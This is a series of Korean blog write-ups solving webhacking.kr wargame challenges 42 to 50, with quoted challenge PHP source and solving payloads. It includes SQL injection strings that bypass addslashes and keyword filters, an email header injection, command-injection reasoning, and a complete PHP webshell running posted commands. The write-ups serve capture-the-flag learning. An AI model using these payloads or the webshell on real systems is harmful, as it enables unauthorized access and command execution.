문제 소스를 봅시다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>   <input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>


id와 pw에 addslashes가 붙어 있는데 mb_convert_encoding과 쌍을 이루는 건 id입니다.

일단 id에는 %af 처럼 멀티바이트를 먹일 수 있습니다.


다만 그 이외의 필터링이 조금 빡셉니다.


꺽쇠와 equal 표시가 다 안 되고, 소괄호도 막혀 있어 함수를 사용할 수도 없습니다.


처음에는 like로 우회가 가능했습니다.


그.러.나.


?id=%af%5c&pw=||lv%09like%093%23 이와 같이 우회를 했을 때 like 1, like 2일 때는 잘 출력되지만 3일 경우는 출력되지 않습니다.

여기서는 따로 3이라는 값이 없는 것으로 생각됩니다.


여기서 union을 preg_match로 막아두었던 것은 id 파라미터뿐이고, pw에는 막지 않았었네요.



https://webhacking.kr/challenge/web-25/?id=%af%5c&pw=||0%09union%09select%093%23

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제를 살펴보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>



문제에서 lv 이란 GET 메소드 변수에 엄청나게 많은 필터링을 걸어두었군요.

그러나 우리는 저 험난한 과정을 뚫고 SQLi를 수행해야 합니다.


일단 따로 select나 or, and, 소괄호, 띄어쓰기, 탭이 안 된다고 나와있습니다.


띄어쓰기와 탭 대신 엔터로 우회하면 될 것 같으니 try try.


싱글쿼터는 우회할 수 없으니 0x로 대신합시다.


https://webhacking.kr/challenge/web-24/?lv=-1||id%0alike%0a0x61646d696e


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제에 아무리 파일을 업로드해봐도 따로 필터링도 없고 PHP는 실행이 되지 않습니다.

물론 .htaccess 파일을 업로드해봤는데도 마찬가지였습니다.


여기서 랜덤하게 이것저것 때려봤는데...

이런식으로 파일을 업로드해도 따로 나오는 게 없어서, 


뭐 없네, 하고 파일을 지우다가..


??


플래그가 나왔습니다.


납득이 되지 않아서 다시 천천히 살펴보았습니다.

<?php
  include "config.php";
  session_sync();
?>
<html>
<head>
<title>Challenge 48</title>
</head>
<body>
<h1>MEMO</h1>
<?php
  $db = dbconnect();
  if(($_GET['mode'] == "del") && ($_GET['time'])){
    if(preg_match("/[^0-9]/",$_GET['time'])) exit("time is not int");
    $result = mysqli_fetch_array(mysqli_query($db,"select id,up from chall48 where id='{$_SESSION['id']}' and time='{$_GET['time']}'"));
    if($result['id'] == $_SESSION['id']) mysqli_query($db,"delete from chall48 where time='{$_GET['time']}' and id='{$_SESSION['id']}'");
    if($result['up']){
      system("rm ./upload/{$result['up']}");
      exit("file deleted. <a href=/>go back</a>");
    }
  }
  if($_POST['memo']){
    $_POST['memo'] = addslashes($_POST['memo']);
    $file = $_FILES['upfile']['name'];
    $file = addslashes($file);
    if(preg_match("/\.\.|\//",$file)) exit("hacking detected");
    if($file){
      copy($_FILES['upfile']['tmp_name'],"./upload/".$file);
    }
    mysqli_query($db,"insert into chall48 values('{$_SESSION['id']}',".time().",'{$file}','{$_POST['memo']}')");
  }
?>
<form method=post enctype=multipart/form-data>
<input type=text size=50 name=memo><br><input type=file name=upfile><input type=submit value='Send'>
</form>
<?php
  $result = mysqli_query($db,"select * from chall48 order by time desc limit 0,20");
  while($row = mysqli_fetch_array($result)){
    $icon = crc32($_SESSION['id'])%8+1;
    $timestamp = $row['time'];
    $date = date('H:i:s',$timestamp);
    echo "<table border=0><tr onmouseout=this.style.background='white' onmouseover=this.style.background='silver'><td>{$date}</td><td align=center><img src={$icon}.jpg><br>{$row['id']}</td><td width=500>".htmlentities($row['memo'])."</td>";
    if($row['id'] == $_SESSION['id'] && $row['up']) echo("<td>[<a href=./upload/{$row['up']}>upload file</a>]</td>");
    if($row['id'] == $_SESSION['id']) echo("<td>[<a href=?mode=del&time={$timestamp}>Delete</a>]</td>");
    echo "</tr></table>";
  }
?>
</body>
</html>


일단 문제를 뽑아와보니 위와 같았습니다.


알고보니 delete를 수행할 때 system 명령어 rm으로 수행하는 것을 확인하였습니다.

생각해보니 파일을 지운다면 system 명령어든 뭐든 이용하여 PHP에서 직접 파일을 지울 때 shell 명령어를 동작시킬 거라 생각했어야 했네요.


system 명령어에서 따로 파일 이름의 필터링이 이루어지지 않으면 위와 같은 취약점을 일으킬 수 있다는 점 유의해야겠습니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제를 살펴보면 다음과 같은 페이지가 보입니다.


메일을 보내는 과정을 text로 보여주고 있습니다.


위의 문제는 과거의 메일 취약점을 이용하는 건데, 만약 Email을 보낼 때 CC를 첨부하는 게 Text로 이루어질 경우 Cc에도 해당 메일이 전송되는 취약점을 이용할 수 있었습니다. 위의 문제에서도 그러한 취약점을 이용하면 됩니다.


우리가 입력한 값이 위의 Subject에 보입니다.


여기서 %0D%0A를 입력해보면 엔터문자가 들어가는 것을 확인할 수 있습니다.


그리고 다음과 같은 파라미터를 넘기면 rubiya님께 메일을 받을 수 있습니다.


subject=kkamikoon%0D%0ACc%3A+여러분의_이메일%0D%0A

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>


위의 문제에서는 lv에 필터링을 매우 걸어두었습니다.

여기서 0x를 필터링한 건 char() 함수나 0b로 우회하였고, 띄어쓰기는 %09로 우회하였습니다.


https://webhacking.kr/challenge/web-23/?lv=0%09or%09id%3d0b0110000101100100011011010110100101101110 





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>


여기서 19 ~ 20 소스를 보면 id와 pw 변수로 받은 값에 addslashes를 한 게 보입니다.

그리고 21번째 라인에는 mb_convert_encoding을 해주는 것을 볼 수 있습니다.


UTF-8로 인코딩해주는 것과 addslashes가 한 쌍을 이루는 것으로 보아 멀티바이트로 역슬레쉬를 우회할 수 있을 것으로 보입니다.


따라서 id 값에는 %af%5c 와 같은 값을 넣어주고 pw에는 원하는 조건문을 입력해주고 주석처리로 마무리해줍니다.


https://webhacking.kr/challenge/web-22/?id=%af%5c&pw=%20or%20id%20like%200x61646d696e%23




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>


위의 소스에서 $id에 들어가는 값은 5글자로 잘리게 되며, system 함수 내로 그대로 들어가는 것을 볼 수 있습니다.

여기서 ls를 실행하라고 하는데, 어떻게 하는 게 좋을까 고민해보았습니다.


일단 싱글쿼터로 닫아주고, echo까지는 끊어줘야 하니 세미콜론 넣어주고, ls 넣고, system 함수가 오류가 나면 안 되니 싱글쿼터를 더 넣어주니 이미 5글자더군요.


그대로 답을 입력해보니 플래그가 나왔습니다. ㅎㅅㅎ..







'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08

문제에서 바로 webshell을 업로드하라고 합니다.

파일을 업로드하려고 하면 php 파일이든 어떤 파일이든 일단은 wrong type을 출력했습니다.


올바른 타입은 확장자로 필터링하는 게 아닌가 하여 쭉 업로드해보는 과정에서 .raw 파일은 업로드가 가능하였습니다.

raw 파일은 Content-Type이 image/raw이기 때문에 가능한 것으로 보입니다.

image 파일에 대한 Content-Type은 필터가 이루어지지 않은것으로 보아 해당 타입으로 PHP 소스를 업로드해보면 Webshell이 잘 업로드되는 것을 확인할 수 있습니다.



업로드된 웹쉘로 파일을 읽어보면 플래그가 나옵니다.


제 코드는 아니지만 제가 기본적으로 활용하는 Simple PHP Webshell 코드입니다.


<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html>
<!-- By Artyum (https://github.com/artyuum) -->
<head>

    <meta charset="utf-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css">

    <title>Web Shell</title>

    <style>
        h2 {
            color: rgba(0, 0, 0, .75);
        }
        pre {
            padding: 15px;
            -webkit-border-radius: 5px;
            -moz-border-radius: 5px;
            border-radius: 5px;
            background-color: #ECF0F1;
        }
        .container {
            width: 850px;
        }
    </style>

</head>

<body>

    <div class="container">

        <div class="pb-2 mt-4 mb-2">
	    <h1>PHP Shell</h1>
            <h2> Execute a command </h2>
        </div>

        <form method="POST">
            <div class="form-group">
                <label for="cmd"><strong>Command</strong></label>
                <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
            </div>
            <button type="submit" class="btn btn-primary">Execute</button>
        </form>

<?php if ($cmd): ?>
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
        </pre>
<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre><small>No result.</small></pre>
<?php endif; ?>
    </div>

</body>

</html>



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07

파일을 다운로드 하는 Request 패킷을 보면 다음과 같습니다.

GET https://webhacking.kr/challenge/web-20/?down=dGVzdC50eHQ= HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Referer: https://webhacking.kr/challenge/web-20/

Accept-Encoding: gzip, deflate, br

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,lt;q=0.6

Cookie: PHPSESSID=peaoijko3v686g9tshr2s7fs44 


Base64로 디코딩 해보면 다음과 같습니다.

여기서 flag.docx를 클릭으로는 다운로드 할 수 없습니다.

HTML 코드를 보면 그냥 alert 함수를 실행시키는 Javascript 코드밖에 없습니다.


그러면 flag.docx 파일을 base64로 인코딩하여 Request해보면 flag 파일을 얻을 수 있습니다.





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07

+ Recent posts